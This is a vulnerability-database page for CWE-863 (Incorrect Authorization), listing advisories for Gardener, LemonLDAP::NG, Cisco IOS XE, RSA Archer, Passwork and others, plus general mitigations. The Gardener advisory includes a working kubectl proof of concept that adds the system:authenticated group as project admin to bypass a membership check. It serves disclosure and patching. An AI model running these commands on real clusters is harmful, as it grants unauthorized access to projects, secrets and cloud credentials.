Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7014 vulnerabilities reference this CWE, most recent first.

GHSA-GF75-9HPG-2F97

Vulnerability from github – Published: 2026-09-24 21:32 – Updated: 2026-09-24 21:32
VLAI
Details

The Botslab G980H dash camera firmware contains an authorization vulnerability in its session based command functionality. The product does not sufficiently associate an authenticated session with the client connection that established it, and subsequent privileged operations rely on possession of a valid session identifier without adequately validating the requesting client's authenticated context. An unauthenticated attacker with adjacent network access could potentially use valid session state associated with another client to access privileged functionality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-84399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T20:17:32Z",
    "severity": "HIGH"
  },
  "details": "The Botslab G980H dash camera firmware contains an authorization vulnerability in its session based command functionality. The product does not sufficiently associate an authenticated session with the client connection that established it, and subsequent privileged operations rely on possession of a valid session identifier without adequately validating the requesting client\u0027s authenticated context. An unauthenticated attacker with adjacent network access could potentially use valid session state associated with another client to access privileged functionality.",
  "id": "GHSA-gf75-9hpg-2f97",
  "modified": "2026-09-24T21:32:49Z",
  "published": "2026-09-24T21:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-267-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-267-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GF98-QC2V-6XVH

Vulnerability from github – Published: 2024-10-09 06:30 – Updated: 2024-10-10 00:31
VLAI
Details

Incorrect credential validation in LemonLDAP::NG 2.18.x and 2.19.x before 2.19.2 allows attackers to bypass OAuth2 client authentication via an empty client_password parameter (client secret).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-45160"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-09T05:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect credential validation in LemonLDAP::NG 2.18.x and 2.19.x before 2.19.2 allows attackers to bypass OAuth2 client authentication via an empty client_password parameter (client secret).",
  "id": "GHSA-gf98-qc2v-6xvh",
  "modified": "2024-10-10T00:31:05Z",
  "published": "2024-10-09T06:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45160"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/commit/06d771cbc2d5c752354c50f83e4912e5879f9aa2"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/commit/236cdfe42c1dc04a15a4a40c5e6a8c2e858d71d7"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/commit/696f49a0855faeb271096dccb8381e2129687c3d"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3223"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GF9W-RF5F-3WCR

Vulnerability from github – Published: 2022-04-01 00:00 – Updated: 2022-04-07 00:00
VLAI
Details

In RSA Archer 6.x through 6.9 SP3 (6.9.3.0), an authenticated attacker can make a GET request to a REST API endpoint that is vulnerable to an Insecure Direct Object Reference (IDOR) issue and retrieve sensitive data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In RSA Archer 6.x through 6.9 SP3 (6.9.3.0), an authenticated attacker can make a GET request to a REST API endpoint that is vulnerable to an Insecure Direct Object Reference (IDOR) issue and retrieve sensitive data.",
  "id": "GHSA-gf9w-rf5f-3wcr",
  "modified": "2022-04-07T00:00:28Z",
  "published": "2022-04-01T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fireeye/Vulnerability-Disclosures"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2022/MNDT-2022-0021/MNDT-2022-0021.md"
    },
    {
      "type": "WEB",
      "url": "https://www.archerirm.community/t5/security-advisories/archer-an-rsa-business-update-for-multiple-vulnerabilities/ta-p/674497"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFCP-5456-7Q6C

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2025-04-29 15:31
VLAI
Details

D-Link – G integrated Access Device4 Information Disclosure & Authorization Bypass. Information Disclosure – file contains a URL with private IP at line 15 "login.asp" A. The window.location.href = http://192.168.1.1/setupWizard.asp" http://192.168.1.1/setupWizard.asp" ; "admin" – contains default username value "login.asp" B. While accessing the web interface, the login form at Authorization Bypass – URL by "setupWizard.asp' while it blocks direct access to – the web interface does not properly validate user identity variables values located at the client side, it is available to access it without a "login_glag" and "login_status" checking browser and to read the admin user credentials for the web interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-36785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-17T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "D-Link \u2013 G integrated Access Device4 Information Disclosure \u0026 Authorization Bypass. *Information Disclosure \u2013 file contains a URL with private IP at line 15 \"login.asp\" A. The window.location.href = http://192.168.1.1/setupWizard.asp\" http://192.168.1.1/setupWizard.asp\" ; \"admin\" \u2013 contains default username value \"login.asp\" B. While accessing the web interface, the login form at *Authorization Bypass \u2013 URL by \"setupWizard.asp\u0027 while it blocks direct access to \u2013 the web interface does not properly validate user identity variables values located at the client side, it is available to access it without a \"login_glag\" and \"login_status\" checking browser and to read the admin user credentials for the web interface.",
  "id": "GHSA-gfcp-5456-7q6c",
  "modified": "2025-04-29T15:31:14Z",
  "published": "2023-07-06T19:24:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36785"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFFH-92VM-W5GF

Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2024-04-04 02:52
VLAI
Details

A vulnerability in Role Based Access Control (RBAC) functionality of Cisco IOS XE Web Management Software could allow a Read-Only authenticated, remote attacker to execute commands or configuration changes as an Admin user. The vulnerability is due to incorrect handling of RBAC for the administration GUI. An attacker could exploit this vulnerability by sending a modified HTTP request to the affected device. An exploit could allow the attacker as a Read-Only user to execute CLI commands or configuration changes as if they were an Admin user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-03T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Role Based Access Control (RBAC) functionality of Cisco IOS XE Web Management Software could allow a Read-Only authenticated, remote attacker to execute commands or configuration changes as an Admin user. The vulnerability is due to incorrect handling of RBAC for the administration GUI. An attacker could exploit this vulnerability by sending a modified HTTP request to the affected device. An exploit could allow the attacker as a Read-Only user to execute CLI commands or configuration changes as if they were an Admin user.",
  "id": "GHSA-gffh-92vm-w5gf",
  "modified": "2024-04-04T02:52:44Z",
  "published": "2022-05-24T17:19:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3229"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webui-PZgQxjfG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFHF-42QR-7PGH

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

Foreman versions before 2.3.4 and before 2.4.0 is affected by an improper authorization handling flaw. An authenticated attacker can impersonate the foreman-proxy if product enable the Puppet Certificate authority (CA) to sign certificate requests that have subject alternative names (SANs). Foreman do not enable SANs by default and allow-authorization-extensions is set to false unless user change /etc/puppetlabs/puppetserver/conf.d/ca.conf configuration explicitly.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Foreman versions before 2.3.4 and before 2.4.0 is affected by an improper authorization handling flaw. An authenticated attacker can impersonate the foreman-proxy if product enable the Puppet Certificate authority (CA) to sign certificate requests that have subject alternative names (SANs). Foreman do not enable SANs by default and `allow-authorization-extensions` is set to `false` unless user change `/etc/puppetlabs/puppetserver/conf.d/ca.conf` configuration explicitly.",
  "id": "GHSA-gfhf-42qr-7pgh",
  "modified": "2022-05-24T19:03:57Z",
  "published": "2022-05-24T19:03:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3469"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1943630"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GFJV-GQF2-C888

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Gardener: Authorization Bypass via Group Subject Injection
Details

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: image

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
    if apiequality.Semantic.DeepEqual(oldMembers, members) {
        return false
    }
    if userIsOwner(userInfo, owner) {
        return false
    }
    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
    // ...
    return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

image


Proof of concept: 1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
  1. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
  1. Verify test-admin-user cannot add a human User member (the check works for Users):
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
  "spec": {
    "members": [
      {
        "kind": "User",
        "apiGroup": "rbac.authorization.k8s.io",
        "name": "new-human-user@example.com",
        "role": "viewer"
      }
    ]
  }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
  1. Bypass the check by adding a Group subject instead:
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
  {
    "op": "add",
    "path": "/spec/members/-",
    "value": {
      "kind": "Group",
      "apiGroup": "rbac.authorization.k8s.io",
      "name": "system:authenticated",
      "role": "admin",
      "roles": ["admin"]
    }
  }
]'

project.core.gardener.cloud/local patched
  1. Verify the Group was added to project members:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin
#   - apiGroup: rbac.authorization.k8s.io
#     kind: Group
#     name: system:authenticated
#     role: admin
  1. Demonstrate the impact - any authenticated user now has project access:
# As a random user 
$ kubectl --as=random-user@example.com get shoots -n garden-local
NAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE
local   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m

Note: random-user@example.com does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.


Security Impact

  • Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).

Patching & Remediation

  1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change: go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } To: go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.142.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.143.0"
            },
            {
              "fixed": "1.143.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.144.0"
            },
            {
              "fixed": "1.144.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server\u0027s `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project\u0027s member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n\u003cimg width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" /\u003e\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n    if apiequality.Semantic.DeepEqual(oldMembers, members) {\n        return false\n    }\n    if userIsOwner(userInfo, owner) {\n        return false\n    }\n    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n    // ...\n    return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n    return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n\u003cimg width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" /\u003e\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p \u0027{\n  \"spec\": {\n    \"members\": [\n      {\n        \"kind\": \"User\",\n        \"apiGroup\": \"rbac.authorization.k8s.io\",\n        \"name\": \"new-human-user@example.com\",\n        \"role\": \"viewer\"\n      }\n    ]\n  }\n}\u0027\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN\u0027T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p \u0027[\n  {\n    \"op\": \"add\",\n    \"path\": \"/spec/members/-\",\n    \"value\": {\n      \"kind\": \"Group\",\n      \"apiGroup\": \"rbac.authorization.k8s.io\",\n      \"name\": \"system:authenticated\",\n      \"role\": \"admin\",\n      \"roles\": [\"admin\"]\n    }\n  }\n]\u0027\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: Group\n#     name: system:authenticated\n#     role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE\nlocal   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m\n```\n\u003e_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching \u0026 Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n    ```go\n    func isHumanUser(subject rbacv1.Subject) bool {\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```\n    To:\n    ```go\n    func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n        if subject.Kind == rbacv1.GroupKind {\n            return true\n        }\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```",
  "id": "GHSA-gfjv-gqf2-c888",
  "modified": "2026-09-22T20:40:38Z",
  "published": "2026-09-22T20:40:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/pull/15080"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gardener/gardener"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/releases/tag/v1.144.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gardener: Authorization Bypass via Group Subject Injection"
}

GHSA-GFM8-GR5X-C42H

Vulnerability from github – Published: 2023-12-26 15:30 – Updated: 2024-01-04 18:30
VLAI
Details

Passwork before 6.2.0 allows remote authenticated users to bypass 2FA by sending all one million of the possible 6-digit codes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-49949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-26T14:15:07Z",
    "severity": "HIGH"
  },
  "details": "Passwork before 6.2.0 allows remote authenticated users to bypass 2FA by sending all one million of the possible 6-digit codes.",
  "id": "GHSA-gfm8-gr5x-c42h",
  "modified": "2024-01-04T18:30:20Z",
  "published": "2023-12-26T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49949"
    },
    {
      "type": "WEB",
      "url": "https://acribia.ru/articles/2fa_bypass_passwork"
    },
    {
      "type": "WEB",
      "url": "https://passwork.ru"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GFRC-X46R-5MPJ

Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2022-05-24 17:21
VLAI
Details

A user with an unverified email address could request an access to domain restricted groups in GitLab EE 12.2 and later through 13.0.1

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-13275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-19T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A user with an unverified email address could request an access to domain restricted groups in GitLab EE 12.2 and later through 13.0.1",
  "id": "GHSA-gfrc-x46r-5mpj",
  "modified": "2022-05-24T17:21:19Z",
  "published": "2022-05-24T17:21:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13275"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/806255"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13275.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/209254"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GFV8-7M4V-G7M6

Vulnerability from github – Published: 2026-09-02 15:34 – Updated: 2026-09-02 21:32
VLAI
Details

Incorrect Authorization vulnerability in Drupal Blazy allows Forceful Browsing. This issue affects Blazy versions: from 0.0.0 to 3.0.18.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T13:18:12Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect Authorization vulnerability in Drupal Blazy allows Forceful Browsing. This issue affects Blazy versions: from 0.0.0 to 3.0.18.",
  "id": "GHSA-gfv8-7m4v-g7m6",
  "modified": "2026-09-02T21:32:02Z",
  "published": "2026-09-02T15:34:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81165"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-104"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.